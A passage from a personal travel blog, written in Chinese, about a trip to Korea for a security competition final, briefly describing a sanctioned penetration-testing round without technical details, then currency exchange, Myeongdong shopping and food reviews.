src="https://blog.cjis.ooo/content/images/2023/05/photo_2023-05-24_04-40-24.jpg" class="kg-image" alt loading="lazy" width="1280" height="964" srcset="https://blog.cjis.ooo/content/images/size/w600/2023/05/photo_2023-05-24_04-40-24.jpg 600w, https://blog.cjis.ooo/content/images/size/w1000/2023/05/photo_2023-05-24_04-40-24.jpg 1000w, https://blog.cjis.ooo/content/images/2023/05/photo_2023-05-24_04-40-24.jpg 1280w" sizes="(min-width: 720px) 720px"><figcaption>&#x6625;&#x5DDD;&#x8FA3;&#x7092;&#x96DE;&#xFF1D;&#x5269;&#x4E0B;&#x597D;&#x5403;&#x90E8;&#x5206;&#x7684;&#x62AB;&#x85A9;</figcaption></figure><p>&#x4F4F;&#x5BBF;&#x5730;&#x9EDE;&#x662F;&#x500B;&#x90CA;&#x5340;&#x623F;&#x8ECA;&#x9732;&#x71DF;&#x5340;&#xFF0C;&#x504F;&#x50FB;&#x5230;&#x6700;&#x8FD1;&#x7684;&#x8D85;&#x5546;&#x8981;&#x958B;&#x8ECA;&#x5341;&#x5206;&#x9418;&#xFF0C;&#x4E3B;&#x8FA6;&#x65B9;&#x6709;&#x63D0;&#x4F9B;&#x63A5;&#x99C1;&#x5230; downtown &#x89E3;&#x6C7A;&#x5348;&#x665A;&#x9910;&#xFF0C;&#x8D81;&#x6A5F;&#x88DC;&#x5145;&#x6D88;&#x591C;&#x548C;&#x9152;&#x7CBE;&#x3002;&#x5DE5;&#x4EBA;&#x5C0F;&#x59D0;&#x59D0;&#x63A8;&#x85A6;&#x6211;&#x5169;&#x6B3E;&#x71D2;&#x9152;&#xFF0C;&#x4E00;&#x6B3E;&#x9152;&#x7CBE;&#x9AD8;&#x9054;20%&#x4F46;&#x662F;&#x5B8C;&#x5168;&#x6C92;&#x9152;&#x7CBE;&#x5473;&#x7684;&#x751C;&#x9152;&#xFF0C;&#x53E6;&#x4E00;&#x6B3E;&#x985E;&#x4F3C;&#x7C73;&#x91C0;&#xFF0C;&#x642D;&#x914D;&#x6C23;&#x6CE1;&#x6C34;&#x6709;&#x9EDE;&#x50CF;&#x662F;&#x9152;&#x7CBE;&#x7248;&#x53EF;&#x723E;&#x5FC5;&#x601D;&#xFF0C;&#x5169;&#x6B3E;&#x90FD;&#x5F88;&#x795E;&#x3002;&#x5DE5;&#x4EBA;&#x5C0F;&#x59D0;&#x59D0;&#x554F;&#x6211;&#x8981;&#x8CB7;&#x4EC0;&#x9EBC;&#x9152;&#x6642;&#x4E00;&#x76F4;sojusoju&#xFF0C;&#x539F;&#x672C;&#x4EE5;&#x70BA;&#x662F;&#x5979;&#x77E5;&#x9053;&#x71D2;&#x9152;&#x4E2D;&#x6587;&#xFF0C;&#x6240;&#x4EE5;&#x6211;&#x8A66;&#x8457;&#x8AAA;&#x60F3;&#x8981;&#x300C;&#x751C;&#x9152;&#x300D;&#xFF0C;&#x4F46;&#x662F;&#x5979;&#x807D;&#x4E0D;&#x61C2;&#xFF0C;&#x5F8C;&#x4F86;&#x67E5;&#x4E86;&#x4E00;&#x4E0B;&#x71D2;&#x9152;&#x7684;&#x97D3;&#x6587;&#x767C;&#x97F3;&#x5C31;&#x662F; soju :D</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.cjis.ooo/content/images/2023/05/photo_2023-05-23_16-40-01.jpg" class="kg-image" alt loading="lazy" width="964" height="1280" srcset="https://blog.cjis.ooo/content/images/size/w600/2023/05/photo_2023-05-23_16-40-01.jpg 600w, https://blog.cjis.ooo/content/images/2023/05/photo_2023-05-23_16-40-01.jpg 964w" sizes="(min-width: 720px) 720px"><figcaption>&#x53EF;&#x723E;&#x5FC5;&#x601D;</figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.cjis.ooo/content/images/2023/05/photo_2023-05-23_16-39-52.jpg" class="kg-image" alt loading="lazy" width="964" height="1280" srcset="https://blog.cjis.ooo/content/images/size/w600/2023/05/photo_2023-05-23_16-39-52.jpg 600w, https://blog.cjis.ooo/content/images/2023/05/photo_2023-05-23_16-39-52.jpg 964w" sizes="(min-width: 720px) 720px"><figcaption>20% &#x59B9;&#x9152;</figcaption></figure><h2 id="%E6%B1%BA%E8%B3%BD">&#x6C7A;&#x8CFD;</h2><p>&#x6C7A;&#x8CFD;&#x5206;&#x6210;&#x5169;&#x90E8;&#x5206;&#xFF0C;&#x4E00;&#x90E8;&#x5206;&#x662F; CTF&#xFF0C;&#x984C;&#x578B;&#x6C92;&#x6709; web&#xFF0C;&#x7531; LJP &#x548C; hexrabbit &#x8CA0;&#x8CAC;&#xFF0C;&#x53E6;&#x4E00;&#x90E8;&#x5206;&#x662F;&#x6EF2;&#x900F;&#xFF0C;&#x6211;&#x548C; Wii &#x8CA0;&#x8CAC;&#x9019;&#x584A;&#xFF0C;&#x76EE;&#x6A19;&#x662F; 4/23 &#x524D;&#x5F8C;&#x6E2C;&#x8A66;&#x7248;&#x672C;&#x7684; <a href="http://sejong.go.kr/?ref=blog.cjis.ooo">http://sejong.go.k</a>r <s>&#x8B93;&#x4E00;&#x7FA4;&#x4EBA;&#x7576;&#x7FA9;&#x5DE5;</s> &#xA0;&#x3002;</p><p>&#x6EF2;&#x900F;&#x76EE;&#x6A19;&#x662F;&#x771F;&#x5BE6;&#x7DB2;&#x7AD9;&#xFF0C;&#x61C9;&#x8A72;&#x662F;&#x6C92;&#x6709;&#x7279;&#x5225;&#x57CB;&#x6D1E;&#xFF0C;&#x7AD9;&#x9EDE;&#x57FA;&#x672C;&#x4E0A;&#x90FD;&#x662F;&#x975C;&#x614B;&#x7684;&#xFF0C;&#x6709;&#x4E00;&#x5806;&#x529F;&#x80FD;&#x90FD;&#x8981;&#x904E;&#x767B;&#x5165;&#x9A57;&#x8B49;&#x624D;&#x80FD;&#x7528;&#xFF0C;&#x4F46;&#x662F;&#x7E5E;&#x4E0D;&#x904E;&#x767B;&#x5165;&#x9A57;&#x8B49;&#x3002;&#x5728;&#x524D;&#x671F;&#x6AA2;&#x6E2C;&#x82B1;&#x4E86;&#x76F8;&#x7576;&#x4E45;&#x7684;&#x6642;&#x9593;&#x90FD;&#x6C92;&#x6210;&#x679C;&#xFF0C;&#x6709;&#x5617;&#x8A66; google hacking &#x771F;&#x5BE6;&#x7DB2;&#x7AD9;&#x4F86;&#x627E;&#x6F5B;&#x5728;&#x7684;&#x7AEF;&#x9EDE;&#xFF0C;&#x5BE6;&#x969B;&#x6E2C;&#x8A66;&#x5927;&#x591A;&#x90FD;&#x4E0D;&#x5728;&#x9019;&#x500B;&#x6E2C;&#x8A66;&#x7248;&#x672C;&#x88E1;&#x3002;</p><p>&#x7FFB;&#x4E86;&#x597D;&#x4E45;&#x56DE;&#x53BB;&#x770B;&#x6EF2;&#x900F;&#x7684;&#x8A55;&#x5206;&#x898F;&#x5247;&#xFF0C;&#x53EF;&#x4EE5;&#x77E5;&#x9053;&#x4ED6;&#x7684;&#x8A55;&#x5206;&#x6A5F;&#x5236;&#x883B;&#x5FAE;&#x5999;&#xFF0C;&#x4E0D;&#x662F;&#x4E00;&#x822C; bug bounty &#x7684;&#x5206;&#x7D1A;&#xFF0C;&#x50CF;&#x662F;&#x6A94;&#x6848;&#x4E0A;&#x50B3;&#x88AB;&#x5217;&#x6210;&#x6700;&#x9AD8;&#x5206; 1000 &#x5206;&#x7684;&#x6F0F;&#x6D1E;&#xFF0C;&#x5C31;&#x628A;&#x8A55;&#x5206;&#x5217;&#x8868;&#x7576;&#x6210; hint &#x4E0B;&#x53BB;&#x627E;&#x6D1E;&#xFF0C;&#x6709;&#x591A;&#x627E;&#x5230; reflected XSS &#x53EA;&#x503C; 200 &#x5206;&#xFF0C;&#x9084;&#x6709;&#x4E00;&#x500B;&#x53EF;&#x4EE5;&#x4E0A;&#x50B3;&#x6A94;&#x540D;&#x3001;&#x9644;&#x6A94;&#x540D;&#x90FD;&#x4E0D;&#x53EF;&#x63A7;&#x7684;&#x5716;&#x7247;&#x5230;&#x4EFB;&#x4E00;&#x4F4D;&#x7F6E;&#xFF0C;&#x5BE6;&#x969B;&#x4E0A;&#x5C31;&#x662F;&#x500B;&#x5EE2;&#x6D1E;&#xFF0C;&#x6211;&#x539F;&#x672C;&#x4E0D;&#x60F3;&#x5BEB;&#x5230;&#x5831;&#x544A;&#x88E1;&#xFF08;&#x4E5F;&#x4E0D;&#x77E5;&#x9053;&#x600E;&#x9EBC;&#x5BEB;&#xFF09;&#xFF0C;Wii &#x8AAA;&#x52A0;&#x6E1B;&#x5BEB;&#x5BEB;&#x770B;&#xFF0C;&#x7136;&#x5F8C;&#x5C31;&#x62FF;&#x5230; 1000 &#x5206;&#xFF0C;&#x5BEB;&#x5C31;&#x662F;&#x6709;&#x5206;XD</p><p>&#x6700;&#x5F8C;&#x6C92;&#x524D;&#x5341;&#xFF0C;&#x6709;&#x4E00;&#x8D85;&#x795E;&#x968A;&#x4F0D;&#x53EA;&#x9760;&#x6EF2;&#x900F;&#x5C31;&#x62FF;&#x4E86;&#x4E94;&#x516D;&#x5343;&#x5206;&#xFF0C;&#x62FF;&#x5230;&#x7B2C;&#x4E00;&#x540D;&#xFF0C;Wii &#x8CFD;&#x5F8C;&#x8ACB;&#x4ED6;&#x5011;&#x5BC4; writeup&#xFF0C;&#x5230;&#x56DE;&#x570B;&#x524D;&#x90FD;&#x6C92;&#x6536;&#x5230;&#xFF0C;&#x7E3D;&#x89BA;&#x5F97;&#x4ED6;&#x5011;&#x6210;&#x529F;&#x7E5E;&#x904E;&#x767B;&#x5165;&#x9A57;&#x8B49;&#xFF0C;&#x6316;&#x5230;&#x65B0;&#x5929;&#x5730;&#x3002;</p><p>&#x524D;&#x9762;&#x8AAA;&#x514D;&#x8CBB;&#x7FA9;&#x5DE5;&#x4E5F;&#x4E0D;&#x592A;&#x5C0D;&#x5566;&#xFF0C;&#x4ED6;&#x5011;&#x7684;&#x96F6;&#x98DF;&#x5340;&#x771F;&#x7684;&#x731B;&#xFF0C;&#x7C97;&#x4F30;&#x6709;&#x63A5;&#x8FD1;&#x4E8C;&#x5341;&#x6B3E;&#x96F6;&#x98DF;&#xFF0C;&#x6211;&#x5403;&#x904E;&#x7684;&#x5C31;&#x8D85;&#x904E;&#x5341;&#x7A2E;&#xFF0C;&#x9AD4;&#x8102;&#x90FD;&#x4E0A;&#x5347;&#x4E86;&#x5E7E;&#x8DB4;&#xFF0C;&#x9084;&#x6709;&#x9644;&#x65E9;&#x3001;&#x5348;&#x9910;&#xFF0C;&#x53C3;&#x8CFD;&#x79AE;&#x7269;&#x662F;&#x6700;&#x5BE6;&#x7528;&#x7684;&#x7B46;&#x96FB;&#x67B6;&#x9084;&#x6709;&#x4E00;&#x76D2;&#x8272;&#x925B;&#x7B46;&#xFF0C;&#x4E00;&#x76D2;&#x55AE;&#x55AE;&#x7D14;&#x7D14;&#x7684;&#x8272;&#x925B;&#x7B46;&#x3002;</p><h2 id="wowpass">wowpass</h2><p>&#x73FE;&#x5728;&#x97D3;&#x570B;&#x5728;&#x63A8; wowpass&#xFF0C;&#x540C;&#x6642;&#x6709;&#x5132;&#x503C;&#x5361;&#x548C; T-money&#xFF08;&#x4EA4;&#x901A;&#x5361;&#xFF09;&#x7684;&#x529F;&#x80FD;&#xFF0C;&#x5927;&#x90E8;&#x5206;&#x5546;&#x5BB6;&#x90FD;&#x63A5;&#x53D7; wowpass &#x5237;&#x5361;&#xFF0C;&#x96D6;&#x7136;&#x6A5F;&#x53F0;&#x8A2D;&#x9EDE;&#x4E0D;&#x662F;&#x5F88;&#x591A;&#x7684;&#x611F;&#x89BA;&#xFF0C;&#x53EA;&#x5728;&#x65C5;&#x9928;&#x6216;&#x662F;&#x8ECA;&#x7AD9;&#x6709;&#x898B;&#x904E;&#xFF0C;&#x4E0D;&#x904E;&#x6A5F;&#x53F0;&#x540C;&#x6642;&#x6EFF;&#x8DB3;&#x63DB;&#x532F;&#xFF08;&#x7D04; 41&#xFF09;&#x3001;&#x5132;&#x503C;&#x3001;&#x63D0;&#x9818;&#x5269;&#x9918;&#x91D1;&#x984D;&#xFF0C;&#x800C;&#x4E14;&#x6709;&#x7D50;&#x5408; app &#x67E5;&#x770B;&#x9918;&#x984D;&#xFF0C;&#x5F8C;&#x7E8C;&#x767C;&#x5C55;&#x503C;&#x5F97;&#x95DC;&#x6CE8;&#x3002;</p><h2 id="%E6%98%8E%E6%B4%9E">&#x660E;&#x6D1E;</h2><p>&#x6BD4;&#x8CFD;&#x5F8C;&#x63A5;&#x8457;&#x89C0;&#x5149;&#x5718;&#xFF0C;&#x6211;&#x5011;&#x5165;&#x4F4F;&#x660E;&#x6D1E;&#x7684; Standford Hotel&#xFF0C;&#x9130;&#x8FD1;&#x660E;&#x6D1E;&#x5546;&#x5708;&#x548C;&#x6377;&#x904B;&#x3002;</p><p>&#x97D3;&#x5143;&#x532F;&#x7387;&#x662F;&#x500B;&#x5F88;&#x795E;&#x5947;&#x7684;&#x6771;&#x897F;&#xFF0C;&#x51FA;&#x904A;&#x524D;&#x6709;&#x7A0D;&#x5FAE;&#x505A;&#x904E;&#x7814;&#x7A76;&#x7684;&#x4EBA;&#x90FD;&#x77E5;&#x9053;&#x63DB;&#x9322;&#x6642;&#x7528;&#x7F8E;&#x5143;&#x63DB;&#x6BD4;&#x53F0;&#x5E63;&#x5212;&#x7B97;&#xFF0C;&#x5728;&#x660E;&#x6D1E;&#x63DB;&#x6BD4;&#x97D3;&#x570B;&#x6A5F;&#x5834;&#x5212;&#x7B97;&#xFF0C;&#x97D3;&#x570B;&#x6A5F;&#x5834;&#x53C8;&#x9060;&#x6BD4;&#x53F0;&#x7063;&#x63DB;&#x5212;&#x7B97;&#x3002;&#x800C;&#x4E14;&#x5DEE;&#x7570;&#x662F;&#x53EF;&#x4EE5;&#x5DEE;&#x5230; 10%&#x4EE5;&#x4E0A;&#xFF0C;&#x50CF;&#x662F;&#x6211;&#x5728;&#x97D3;&#x570B;&#x6A5F;&#x5834;&#x63DB;&#x662F; 36&#xFF0C;&#x660E;&#x6D1E;&#x63DB;&#x662F; 42&#xFF0C;&#x53F0;&#x7063;&#x5370;&#x8C61;&#x4E2D;&#x662F; 2x &#x3002;&#x6700;&#x795E;&#x5947;&#x7684;&#x662F;&#x5728;&#x660E;&#x6D1E;&#x8D70;&#x8DEF;&#x4E0D;&#x5230;&#x4E94;&#x5206;&#x9418;&#x7684;&#x5169;&#x500B;&#x63DB;&#x9322;&#x6240;&#xFF0C;&#x5C31;&#x53EF;&#x4EE5;&#x5B58;&#x5728; 40 &#x548C; 42 &#x5169;&#x7A2E;&#x532F;&#x7387;&#xFF0C;&#x4E94;&#x5206;&#x9418;&#x5C31;&#x53EF;&#x4EE5;&#x73FE;&#x8CFA; 6%&#x3002;&#x800C;&#x660E;&#x6D1E;&#x7684;&#x63DB;&#x9322;&#x6240;&#x53C8;&#x5BC6;&#x96C6;&#x53C8;&#x5C0F;&#x9593;&#xFF0C;&#x513C;&#x7136;&#x6210;&#x4E86;&#x4E00;&#x500B;&#x7522;&#x696D;&#xFF0C; &#x532F;&#x7387;&#x537B;&#x53C8;&#x53EF;&#x4EE5;&#x5B58;&#x5728;&#x5DE8;&#x5927;&#x5DEE;&#x7570;&#xFF0C;&#x4E0D;&#x7981;&#x597D;&#x5947;&#x9019;&#x662F;&#x4E00;&#x7A2E;&#x4EC0;&#x9EBC;&#x7279;&#x6B8A;&#x7406;&#x7531;&#x624D;&#x80FD;&#x751F;&#x5B58;&#x7684;&#x7522;&#x696D;&#xFF1F;&#x6291;&#x6216;&#x662F;&#x4EBA;&#x985E;&#x7684;&#x611A;&#x8822;&#xFF08;&#x61F6;&#x60F0;&#xFF09;&#x5C31;&#x90A3;&#x9EBC;&#x503C;&#x9322;&#xFF1F;</p><p>&#x9019;&#x4E0D;&#x5408;&#x7406;&#x7684;&#x5B58;&#x5728;&#x80AF;&#x5B9A;&#x548C;&#x7070;&#x9ED1;&#x7522;&#x6709;&#x95DC;&#xFF1F;</p><p>&#x9019;&#x88E1;&#x7684;&#x5929;&#x6C23;&#x53EA;&#x6709;&#x5206;&#x6210;&#x7167;&#x5F97;&#x5230;&#x592A;&#x967D;&#x548C;&#x7167;&#x4E0D;&#x5230;&#x592A;&#x967D;&#xFF0C;&#x53EF;&#x4EE5;&#x9023;&#x7E8C;&#x5E7E;&#x5929;&#x5929;&#x6C23;&#x90FD;&#x662F;&#x4E8C;&#x5341;&#x521D;&#xFF0C;&#x4E00;&#x5929;&#x6DBC;&#x5230;&#x53EF;&#x4EE5;&#x7A7F;&#x5927;&#x8863;&#xFF0C;&#x4E00;&#x5929;&#x71B1;&#x5230;&#x7A7F;&#x77ED;&#x8896;&#xFF0C;&#x51CC;&#x6668;&#x6642;&#x6700;&#x51B7;&#x5230;&#x5341;&#x5EA6;&#x521D;&#x982D;&#xFF0C;&#x5728;&#x4E16;&#x5B97;&#x9732;&#x71DF;&#x8ECA;&#x90A3;&#x5929;&#x7761;&#x524D;&#x958B;&#x51B7;&#x6C23;&#xFF0C;&#x65E9;&#x4E0A;&#x88AB;&#x5341;&#x5EA6;&#x51B7;&#x9192;&#x3002;</p><p>&#x6211;&#x5C0D;&#x97D3;&#x570B;&#x4E00;&#x76F4;&#x90FD;&#x6C92;&#x597D;&#x611F;&#xFF0C;&#x5C0F;&#x5B78;&#x66FE;&#x53BB;&#x904E;&#x4E00;&#x6B21;&#xFF0C;&#x90A3;&#x6642;&#x9084;&#x6C92;&#x5230;&#x770B;&#x97D3;&#x5287;&#x7684;&#x5E74;&#x9F61;&#xFF0C;&#x89BA;&#x5F97;&#x5BAE;&#x6BBF;&#x6C92;&#x4EC0;&#x9EBC;&#x597D;&#x770B;&#xFF0C;&#x9019;&#x6B21;&#x53BB;&#x524D;&#x525B;&#x770B;&#x5B8C;&#x9ED1;&#x6697;&#x69AE;&#x8000;&#xFF0C;&#x537B;&#x9084;&#x662F;&#x5C0D;&#x97D3;&#x570B;&#x50B3;&#x7D71;&#x6587;&#x5316;&#x6C92;&#x4EC0;&#x9EBC;&#x8208;&#x8DA3;&#xFF0C;&#x883B;&#x610F;&#x5916;&#x540C;&#x5718;&#x4E5F;&#x5927;&#x591A;&#x5C0D;&#x97D3;&#x570B;&#x50B3;&#x7D71;&#x6587;&#x5316;&#x6C92;&#x8208;&#x8DA3;&#xFF0C;&#x97D3;&#x570B;&#x4E5F;&#x50CF;&#x662F;&#x5B8C;&#x5168;&#x653E;&#x68C4;&#x5BA3;&#x63DA;&#x50B3;&#x7D71;&#x6587;&#x5316;&#xFF0C;&#x5EFA;&#x7ACB;&#x97D3;&#x6D41;&#x65B0;&#x6587;&#x5316;&#x4F86;&#x6436;&#x653B;&#x570B;&#x969B;&#x65C5;&#x5BA2;&#xFF0C;&#x548C;&#x65E5;&#x672C;&#x52AA;&#x529B;&#x628A;&#x50B3;&#x7D71;&#x6587;&#x5316;&#x878D;&#x5165;&#x98DF;&#x8863;&#x4F4F;&#x884C;&#x5927;&#x76F8;&#x9015;&#x5EAD;&#xFF0C;&#x8D70;&#x53E6;&#x4E00;&#x689D;&#x6975;&#x7AEF;&#x8DEF;&#x7DDA;&#x3002;</p><p>&#x660E;&#x6D1E;&#x7684;&#x6BCF;&#x9593;&#x9910;&#x5EF3;&#x90FD;&#x4E00;&#x5B9A;&#x6709;&#x4E00;&#x4F4D;&#x4E2D;&#x570B;&#x5E97;&#x54E1;&#xFF0C;&#x6BCF;&#x4E00;&#x9593;&#x3002;&#x50CF;&#x662F;&#x914D;&#x7D66;&#x5236;&#x3002;&#x97D3;&#x570B;&#x4EBA;&#x7684;&#x82F1;&#x6587;&#x53EA;&#x6709;&#x721B;&#x5230;&#x8B1B;&#x6578;&#x5B57;&#x90FD;&#x6709;&#x56F0;&#x96E3;&#xFF0C;&#x9084;&#x6709;&#x597D;&#x5230;&#x80FD;&#x53E3;&#x8A9E;&#x4EA4;&#x6D41;&#x5169;&#x7A2E;&#xFF0C;&#x5982;&#x679C;&#x9047;&#x5230;&#x4E00;&#x500B;&#x97D3;&#x570B;&#x4EBA;&#x5F88;&#x81EA;&#x4FE1;&#x7684;&#x57FA;&#x54E9;&#x74DC;&#x62C9;&#x8B1B;&#x4E00;&#x5806;&#x97D3;&#x6587;&#x4E5F;&#x4E0D;&#x7BA1;&#x4F60;&#x807D;&#x4E0D;&#x807D;&#x5F97;&#x61C2;&#x6642;&#xFF0C;&#x4ED6;&#x5927;&#x6982;&#x7387;&#x82F1;&#x6587;&#x7A0B;&#x5EA6;&#x662F;0&#x3002;&#x503C;&#x5F97;&#x6176;&#x5E78;&#x7684;&#x662F;&#x97D3;&#x570B;&#x4EBA;&#x5C0D;&#x5916;&#x570B;&#x4EBA;&#x633A;&#x53CB;&#x5584;&#xFF0C;&#x82F1;&#x6587;&#x6BD4;&#x60F3;&#x50CF;&#x4E2D;&#x7CDF;&#x5F88;&#x591A;&#xFF0C;&#x537B;&#x6C92;&#x6BD4;&#x60F3;&#x50CF;&#x4E2D;&#x6392;&#x5916;&#x3002;</p><p>&#x660E;&#x6D1E;&#x7684;&#x5C0F;&#x5403;&#x5E97;&#x5F88;&#x591A;&#xFF0C;&#x8857;&#x9053;&#x4E0A;&#x5DE6;&#x53F3;&#x5404;&#x6709;&#x4E00;&#x6392;&#x5C0F;&#x6524;&#x8ECA;&#xFF0C;&#x6524;&#x8ECA;&#x660E;&#x4EAE;&#x4E7E;&#x6DE8;&#xFF0C;&#x5BE6;&#x969B;&#x4E0A;&#x885B;&#x751F;&#x60C5;&#x6CC1;&#x548C;&#x53F0;&#x7063;&#x5DEE;&#x4E0D;&#x591A;&#xFF0C;&#x6709;&#x4E9B;&#x8CE3;&#x9F8D;&#x8766;&#x7684;&#x5546;&#x5BB6;&#x5C31;&#x628A;&#x9F8D;&#x8766;&#x653E;&#x5728;&#x4E00;&#x7BB1;&#x770B;&#x8D77;&#x4F86;&#x662F;&#x878D;&#x5316;&#x7684;&#x6C34;&#x3002;&#x5C0F;&#x5403;&#x6C92;&#x4EC0;&#x9EBC;&#x7279;&#x8272;&#xFF0C;&#x90FD;&#x662F;&#x53F0;&#x7063;&#x5E38;&#x898B;&#x7684;&#x6216;&#x662F; oreo&#x3001;&#x97D3;&#x5F0F;&#x7092;&#x9EB5;&#xFF0C;&#x807D;&#x540C;&#x5718;&#x7684;&#x8AAA;&#x8CE3;&#x9B5A;&#x677F;&#x7684;&#x5C0F;&#x6524;&#x8ECA;&#x597D;&#x5403;&#xFF0C;&#x6211;&#x8DEF;&#x904E;&#x4E86;&#x597D;&#x591A;&#x5929;&#x6CE1;&#x5728;&#x4E00;&#x76C6;&#x7D05;&#x901A;&#x901A;&#x8FA3;&#x6CB9;&#x88E1;&#x7684;&#x9B5A;&#x677F;&#x59CB;&#x7D42;&#x6C92;&#x8CB7;&#x3002;</p><p>&#x660E;&#x6D1E;&#x6709;&#x5F88;&#x591A;&#x8D85;&#x5927;&#x578B;&#x8033;&#x98FE;&#x5E97;&#xFF0C;&#x73B2;&#x746F;&#x6EFF;&#x76EE;&#x7684;&#x8033;&#x74B0;&#x628A;&#x6574;&#x9593;&#x5E97;&#x88DD;&#x98FE;&#x7684;&#x4EAE;&#x6676;&#x6676;&#xFF0C;&#x6211;&#x5E7E;&#x4E4E;&#x628A;&#x6240;&#x6709;&#x5730;&#x5716;&#x627E;&#x5F97;&#x5230;&#x7684;&#x8033;&#x98FE;&#x5E97;&#x90FD;&#x901B;&#x904E;&#x4E00;&#x904D;&#xFF0C;&#x8CB7;&#x4E86;&#x4E00;&#x500B;&#x8033;&#x98FE;&#x3002;</p><p>&#x97D3;&#x570B;&#x8DEF;&#x4EBA;&#x7684;&#x984F;&#x503C;&#x6C92;&#x8A2D;&#x60F3;&#x7684;&#x9AD8;&#xFF0C;&#x6216;&#x662F;&#x97D3;&#x570B;&#x4EBA;&#x672C;&#x5C31;&#x4E0D;&#x662F;&#x6211;&#x7684;&#x8336;&#xFF0C;&#x53EF;&#x662F;&#x9910;&#x5EF3;&#x5E97;&#x54E1;&#x662F;&#x771F;&#x7684;&#x5E25;&#xFF0C;&#x5E25;&#x6B50;&#x5DF4;</p><h2 id="%E9%A3%9F">&#x98DF;</h2><p>&#x4E00;&#x5BB6;&#x5F97;&#x904E;&#x7C73;&#x5176;&#x6797;&#x7684;&#x50B3;&#x7D71;&#x96EA;&#x5F04;&#x6E6F;&#xFF0C;&#x8A55;&#x5BE9;&#x80AF;&#x5B9A;&#x662F;&#x6C92;&#x5403;&#x904E;&#x53F0;&#x5357;&#x725B;&#x8089;&#x6E6F;&#xFF0C;&#x96A8;&#x4FBF;&#x4E00;&#x5BB6;&#x5E97;&#x90FD;&#x6BD4;&#x96EA;&#x5F04;&#x6E6F;&#x597D;&#x5403;&#x3002;&#x96EA;&#x5F04;&#x6E6F;&#x662F;&#x628A;&#x725B;&#x9AA8;&#x716E;&#x6210;&#x767D;&#x767D;&#x7684;&#x6E6F;&#xFF0C;&#x6E6F;&#x982D;&#x6E05;&#x6DE1;&#x5230;&#x78BA;&#x8A3A;&#xFF0C;&#x6211;&#x53EF;&#x4EE5;&#x7406;&#x89E3;&#x9019;&#x7897;&#x6E6F;&#x60F3;&#x5448;&#x73FE;&#x7684;&#x53E3;&#x5473;&#xFF0C;&#x5E97;&#x5BB6;&#x90FD;&#x6703;&#x653E;&#x4E00;&#x76D2;&#x9E7D;&#x5DF4;&#x8B93;&#x5BA2;&#x4EBA;&#x81EA;&#x5DF1;&#x8ABF;&#x5473;&#xFF0C;&#x6211;&#x633A;&#x4EAB;&#x53D7;&#x539F;&#x5473;&#x7684;&#x90FD;&#x4E0D;&#x52A0;&#xFF0C;&#x4F46;&#x662F;&#x914D;&#x83DC;&#x662F;&#x4E00;&#x7897;&#x767D;&#x98EF;&#x548C;&#x6CE1;&#x83DC;&#x5C31;&#x5F88;&#x83AB;&#x540D;&#x5176;&#x5999;&#x4E86;&#xFF0C;&#x6CE1;&#x83DC;&#x6703;&#x6436;&#x8D70;&#x6574;&#x7897;&#x6E6F;&#x7684;&#x5473;&#x9053;&#xFF0C;&#x767D;&#x98EF;&#x52A0;&#x5230;&#x6E05;&#x6E6F;&#x9084;&#x662F;&#x767D;&#x98EF;&#xFF0C;&#x7576;&#x593E;&#x6CE1;&#x83DC;&#x6642;&#x4E0D;&#x5C0F;&#x5FC3;&#x6389;&#x4E00;&#x584A;&#x5230;&#x6E6F;&#x88E1;&#xFF0C;&#x6574;&#x7897;&#x90FD;&#x5269;&#x4E0B;&#x6CE1;&#x83DC;&#x5473;&#xFF08;&#x968A;&#x53CB;&#x5C31;&#x767C;&#x751F;&#x9019;&#x6158;&#x4E8B;...&#xFF09;&#x3002;&#x4E00;&#x7897;&#x4E09;&#x56DB;&#x767E;&#x50F9;&#x683C;&#x53EA;&#x7D66;&#x4E86;&#x56DB;&#x7247;&#x725B;&#x8089;&#xFF0C;&#x9084;&#x662F;&#x5168;&#x719F;&#x7684;&#xFF01;&#x725B;&#x8089;&#x7684;&#x54C1;&#x8CEA;&#x662F;&#x6703;&#x88AB;&#x53F0;&#x5357;&#x9109;&#x89AA;&#x7576;&#x5EDA;&#x9918;&#x7684;&#x7B49;&#x7D1A;&#xFF0C;&#x540C;&#x50F9;&#x4F4D;&#x5728;&#x97D3;&#x570B;&#x537B;&#x53EF;&#x4EE5;&#x70E4;&#x8C6C;&#x5403;&#x5230;&#x98FD;&#x3002;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.cjis.ooo/content/images/2023/05/photo_2023-05-24_04-40-07.jpg" class="kg-image" alt loading="lazy" width="1280" height="964" srcset="https://blog.cjis.ooo/content/images/size/w600/2023/05/photo_2023-05-24_04-40-07.jpg 600w, https://blog.cjis.ooo/content/images/size/w1000/2023/05/photo_2023-05-24_04-40-07.jpg 1000w, https://blog.cjis.ooo/content/images/2023/05/photo_2023-05-24_04-40-07.jpg 1280w" sizes="(min-width: 720px) 720px"><figcaption>&#x6E05;&#x6DE1;&#x5230;&#x78BA;&#x8A3A;&#x96EA;&#x5F04;&#x6E6F;</figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.cjis.ooo/content/images/2023/05/photo_2023-05-24_04-47-21.jpg" class="kg-image" alt loading="lazy" width="1280" height="964" srcset="https://blog.cjis.ooo/content/images/size/w600/2023/05/photo_2023-05-24_04-47-21.jpg 600w, https://blog.cjis.ooo/content/images/size/w1000/2023/05/photo_2023-05-24_04-47-21.jpg 1000w, https://blog.cjis.ooo/content/images/2023/05/photo_2023-05-24_04-47-21.jpg 1280w" sizes="(min-width: 720px) 720px"><figcaption>&#x53E6;&#x4E00;&#x5BB6;&#x6CB3;&#x6771;&#x9928;&#x50B3;&#x7D71;&#x97D3;&#x725B;&#x6E6F;&#xFF0C;&#x4E09;&#x7247;&#x8089;</figcaption></figure><p>&#x97D3;&#x570B;&#x7684;&#x8C6C;&#x8089;&#x6C7A;&#x4E0D;&#x8B93;&#x4EBA;&#x5931;&#x671B;&#xFF0C;&#x7B2C;&#x4E00;&#x5929;&#x5403;&#x8352;&#x8B2C;&#x7684;&#x751F;&#x8089;&#xFF0C;&#x50F9;&#x4F4D;&#x4E00;&#x4EBA;400&#x5403;&#x5230;&#x98FD;&#x97D3;&#x5F0F;&#x70E4;&#x8089;&#xFF0C;&#x8C6C;&#x8089;&#x6C92;&#x6709;&#x4EFB;&#x4F55;&#x7684;&#x9A37;&#x5473;&#xFF0C;&#x8089;&#x7684;&#x90E8;&#x4F4D;&#x5E36;&#x6CB9;&#x8102;&#x537B;&#x4E0D;&#x6CB9;&#xFF0C;&#x7C21;&#x55AE;&#x7684;&#x5E7E;&#x7A2E;&#x8ABF;&#x